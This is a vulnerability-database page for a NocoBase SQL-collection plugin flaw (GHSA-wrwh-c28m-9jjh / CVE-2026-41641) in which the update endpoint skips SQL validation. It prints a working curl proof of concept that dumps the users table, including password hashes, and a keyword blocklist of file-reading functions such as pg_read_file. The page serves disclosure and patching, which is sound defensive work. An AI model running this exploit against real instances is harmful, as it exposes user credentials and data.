Vulnerability-Lookup

GHSA-WRWH-C28M-9JJH

Vulnerability from github – Published: 2026-04-22 20:07 – Updated: 2026-05-08 20:10

Summary

@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call

Details

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

`checkSQL` is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

`checkSQL` is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The `checkSQL` function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file, LOAD_FILE, dblink) are all accessible through the update bypass.
Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pg_read_file reads arbitrary files from the database server filesystem.

Fix Suggestion

Add checkSQL() to the update action. The one-line fix: javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... }
Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.
Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:07:11Z",
    "nvd_published_at": "2026-05-07T06:16:05Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 \u2014 execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) =\u003e {\n    const { sql } = ctx.action.params.values || {};\n    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n    // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 \u2014 update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) =\u003e {\n    const transaction = await ctx.app.db.sequelize.transaction();\n    try {\n        const { upRes } = await updateCollection(ctx, transaction);\n        // No checkSQL() call anywhere in this path!\n        const [collection] = upRes;\n        await collection.load({ transaction, resetFields: true });\n        await transaction.commit();\n    }\n    // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    \u0027pg_read_file\u0027, \u0027pg_write_file\u0027, \u0027pg_ls_dir\u0027, \u0027LOAD_FILE\u0027,\n    \u0027INTO OUTFILE\u0027, \u0027INTO DUMPFILE\u0027, \u0027dblink\u0027, \u0027lo_import\u0027, // ...\n  ];\n  sql = sql.trim().split(\u0027;\u0027).shift();\n  if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error(\u0027Only supports SELECT statements or WITH clauses\u0027);\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error(\u0027SQL statements contain dangerous keywords\u0027);\n  }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"\u003cadmin_jwt_token\u003e\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\": \"exfil_collection\",\n    \"sql\": \"SELECT 1 as id\",\n    \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n    \"template\": \"sql\"\n  }\u0027\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file(\u0027\\\u0027\u0027/etc/passwd\u0027\\\u0027\u0027)\", \"fields\": [], \"template\": \"sql\"}\u0027\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL \u2014 bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n  -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"sql\": \"SELECT * FROM users\",\n    \"fields\": [\n      {\"name\": \"id\", \"type\": \"integer\"},\n      {\"name\": \"email\", \"type\": \"string\"},\n      {\"name\": \"password\", \"type\": \"string\"}\n    ]\n  }\u0027\n# Returns: 200 OK \u2014 no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n   ```javascript\n   update: async (ctx: Context, next: Next) =\u003e {\n       const { sql } = ctx.action.params.values || {};\n       if (sql) {\n           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n       }\n       // ... existing code ...\n   }\n   ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.",
  "id": "GHSA-wrwh-c28m-9jjh",
  "modified": "2026-05-08T20:10:02Z",
  "published": "2026-04-22T20:07:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call"
}

CVE-2026-41641 (GCVE-0-2026-41641)

Vulnerability from cvelistv5 – Published: 2026-05-07 04:13 – Updated: 2026-05-07 14:14

Title

NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call

Summary

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Severity

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-07 14:13 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CWE-284 - Improper Access Control

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7876 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/nocobase/nocobase/security/adv…	x_refsource_CONFIRM
https://github.com/nocobase/nocobase/pull/9134	x_refsource_MISC
https://github.com/nocobase/nocobase/commit/851ae…	x_refsource_MISC
https://github.com/nocobase/nocobase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
nocobase	nocobase	Affected: < 2.0.39

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41641",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T14:13:49.780425Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
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        "providerMetadata": {
          "dateUpdated": "2026-05-07T14:14:23.539Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nocobase",
          "vendor": "nocobase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.39"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T04:13:33.609Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"
        },
        {
          "name": "https://github.com/nocobase/nocobase/pull/9134",
          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/nocobase/nocobase/pull/9134"
        },
        {
          "name": "https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91",
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        },
        {
          "name": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39",
          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
        }
      ],
      "source": {
        "advisory": "GHSA-wrwh-c28m-9jjh",
        "discovery": "UNKNOWN"
      },
      "title": "NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "datePublished": "2026-05-07T04:13:33.609Z",
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-WRWH-C28M-9JJH

Summary

Vulnerable Code

checkSQL is applied on create and execute

checkSQL is NOT applied on update

The checkSQL function itself

PoC

Impact

Fix Suggestion

CVE-2026-41641 (GCVE-0-2026-41641)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

`checkSQL` is applied on create and execute

`checkSQL` is NOT applied on update

The `checkSQL` function itself